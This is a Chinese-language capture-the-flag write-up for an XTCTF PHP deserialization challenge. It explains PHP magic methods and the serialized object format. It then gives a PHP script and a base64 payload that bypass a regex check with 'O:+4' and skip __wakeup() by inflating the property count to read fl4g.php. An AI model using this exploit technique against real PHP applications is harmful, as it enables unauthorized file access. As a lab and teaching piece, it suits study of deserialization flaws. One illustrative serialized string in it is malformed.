题目描述

来源 XTCTF

Solution

打开页面,显示了 PHP 源代码:

004-1.png

我们看到 Flag 藏在fl4g.php文件里,我们需要用 GET 请求传参var。看到了类,类的析构函数__destruct()、类的唤醒函数__wakeup()这几个关键要素,可以很自然的联想到本题考察 PHP 反序列化漏洞。PHP 反序列化漏洞有几个我们需要重点关注的函数:

  • __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的;
  • __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用;
  • __wakeup()unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法;
  • __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用;
  • __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用;

对于一个序列化后的字符串O:6:"people":2:{s:4:"name";s:6:"f1r3k0";s:3:"age";i:18;}而言,它遵循下列这个模式:

  1. O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

而各个部分的意思如下:

  1. O:Object 对象;
  2. 6:类的名字,长度为 6;
  3. people:类的名字;
  4. 2:属性个数;
  5. {...}:各个属性;
  6. s:字符串;
  7. i:整数

本题中我们有 2 个地方需要绕过:

1、正则匹配。这里的模式串/[oc]:\d+:/i我理解的含义是,忽略大小写,当出现o:2c:2(数字位可以是一个也可以是多个)时完成匹配。我们可以用O:+2这样的字符串绕过。

2、__wakeup()函数。如果序列化后的字符串中表示属性个数的数字与真实属性个数不一致,那么__wakeup()函数就不会执行。例如本题的Demo类只有 1 个属性,而我们的序列化字符串为:O:5:"hello":2:{s:8:"fl4g.php";s:1:"a";},里面有 2 个属性,则__wake()函数不会执行。

我们编写一个 PHP 脚本:

<?php
class Demo
{
    private $file = 'fl4g.php';
}

$flag_obj = new Demo();

$serde_str = serialize($flag_obj);
$serde_str = str_replace('O:4', 'O:+4', $serde_str);
$serde_str = str_replace(':1:', ':2:', $serde_str);

print_r($serde_str);
echo ("\n");
print_r(base64_encode($serde_str));

运行它:

004-2.png

把这个 base64 编码的字符串粘贴 URL 里:

http://111.200.241.244:51111/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

004-3.png